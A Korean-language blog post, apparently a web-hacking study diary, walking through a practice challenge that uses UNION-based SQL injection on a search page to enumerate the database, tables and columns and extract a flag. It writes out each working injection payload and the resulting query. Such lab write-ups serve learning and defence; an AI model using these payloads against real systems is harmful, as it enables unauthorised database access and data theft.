본문 바로가기

웹 해킹

웹 해킹 공부 일기장 2 - 과제 (챌린지1)

1. 비밀 데이터를 찾아라!!

챌린지 페이지

 

계정의 아이디를 입력하면 해당 계정의 정보를 우리에게 보여주는 페이지인 것 같습니다.

아무래도 데이터베이스에 계정 정보를 저장하고 우리가 입력한 아이디를 찾아 우리에게 보여줘야하기 때문에 아이디 입력란은 데이터베이스와 연결되어 있는 부분일 것입니다.

 

우리가 강의 정리에서 배운 union select를 사용하기 위한 절차대로 한번 해보겠습니다.

 

1) SQL Injection 포인트 찾기

일단 아이디 입력란이 데이터베이스와 연결되어있을 것이라는 생각을 해보았습니다.

그럼 데이터베이스에 명령하는 쿼리문이 어떻게 되어있을 지 추측해보겠습니다.

admin 검색

 

admin이라고 입력만 했는데 adminer 아이디의 정보가 나왔습니다. 그럼 아마 아이디에 대해 like 절로 패턴검색을 할 것이다 추측할 수 있습니다. 

a 입력

 

a를 입력하니 a를 포함하는 아이디의 정보가 모두 나옵니다. 그럼 확실해 진 것같습니다.

select * from member where id like '%입력한 값%'; 

// ~ 가져온 값 출력

 

아마 위의 코드처럼 되어있을 것입니다. 아직 member테이블과 id컬럼은 확실하지 않습니다.

 

어떤 쿼리인지 예측했는데 SQL Injection이 불가능하다면 아무 소용이 없겠죠..??

SQL Injection이 가능한지 알아보겠습니다.

admin%' #

 

admin%' # 을 사용했는데  #이 SQL 구문으로 사용되어 서버에 저장되어있는 뒷 부분 %' 이 주석처리되어

정상적으로 admin이 포함되어있는 아이디의 정보를 출력해주었습니다.

그럼 SQL Injection도 가능한 것을 알았습니다.

 

2) 컬럼 개수 찾기 

입력: ' order by 1 #

select * from member where id like '%' order by 1 #%'

 

위 처럼 입력하니 like '%' 가 되어 모든 아이디가 조건에 충족하게 되어 모든 아이디를 select 합니다. 

그리고 order by 1로 첫번째 컬럼을 기준으로 정렬하게 됩니다.

이제 1을 계속 늘려가며 컬럼 개수를 구해봅시다!

 

컬럼이 몇 개가 될지 몰라서 repeater를 사용하여 요청을 보내면 조금 더 빨리 구할 수 있을 것 같아 사용해보았습니다.

일단 아이디를 검색하면 search.php에 search파라미터에 값을 넣어 GET 요청을 합니다.

search 저부분의 값의 1부분을 계속 바꿔주며 reponse에 모든 계정의 정보가 출력되는지 확인하면 될 것 같습니다.

' order by 1 # 요청

 

' order by 5 # 요청

 

5를 넣어주니 결과값이 나오지 않는 것을 보니 컬럼 개수는 4개인것 같습니다.

 

3) 출력되는 컬럼 위치 찾기

이것이 제일 쉽죠 union select 컬럼 수만큼 숫자를 넣어주면 알 수 있습니다. 

입력: ' union select 1,2,3,4 #

select *(4개) from member where id like '%' union select 1,2,3,4 #%'

출력되는 컬럼 위치 찾기

 

1 2 3 4 순서대로 출력되는 것을 보니 각 값이 순서대로 select 되는 것 같습니다.

암튼 1,2,3,4 컬럼 모두 우리는 union select 로 출력해볼 수 있습니다.

 

4) DB 이름 확인

DB 이름 확인하는 방법이 혹시 기억나시나요?? select database();를 사용하면 됩니다.ㅎㅎ

한번더 말하지만 서버에 저장되어있는 쿼리는 변경할 수 없습니다. 그렇기 때문에 union select를 사용하여 select database();를 사용해야합니다. 

// 입력: ' union select database(),2,3,4 #

select *(4개) from member where id like '%' union select database(),2,3,4 #%'

 

이렇게 하면 되겠죠? 

데이터베이스 이름 확인

 

sqli_1이 데이터베이스 이름이네요.

이제 테이블이름을 알아내러 가봅시다.

 

5) Table 이름 확인

information_schema 데이터베이스에는 데이터베이스 정보가 저장되어있다고 했습니다. 그 중 데이터베이스 별 테이블 이름을 알 수 있는 테이블은 tables라는 테이블이었습니다.

// 입력: ' union select table_name,2,3,4 from information_schema.tables where table_schema='sqli_1' #

select *(4개) from member where id like '%' union select table_name,2,3,4 from information_schema.tables where table_schema='sqli_1' #%'

 

inforamtion_schema.tables에서 데이터베이스 이름이 sqli_1의 테이블 이름을 출력해보겠습니다.

 

테이블 이름 확인

 

flag_table 과 user_info 테이블이 있습니다.

아.. member 테이블이 아니라 user_info 테이블이었네요

혹시 문제가 무엇인지 기억하시나요? 비밀데이터를 찾는 것이었습니다. 그것은 flag_table에 있을 것 같네요

 

6) 컬럼 이름 확인

이제 비밀 데이터가 있을 것 같은 테이블이름도 알아냈으니 바로 컬럼 이름을 확인하고 비밀 데이터를 가져오겠습니다.

information_schema.columns를 확인하면 테이블 별로 각 컬럼을 저장하고 있습니다.

// 입력: ' union select column_name,2,3,4 from information_schema.columns where table_name='flag_table' #

select *(4개) from user_info where id like '%' union select column_name,2,3,4 from information_schema.columns where table_name='flag_table' #%'

 

inforamtion_schema.columns에서 테이블 이름이 flag_table의 컬럼 이름을 출력해보겠습니다.

 

컬럼 이름 확인

 

컬럼 이름은 flag이네요.

이제 다 끝났습니다. sqli_1데이터베이스의 flag_table테이블의 flag에 저장되어있는 값을 가져오면 될 것 같습니다.

 

7) 데이터 추출

select flag from flag_table을 union select를 사용해서 쿼리문을 만들면됩니다.

// 입력: ' union select flag,2,3,4 from flag_table #

select * from user_info where id like '%' union select flag,2,3,4 from flag_table #%'

데이터 추출

 

비밀 데이터 발견했습니다.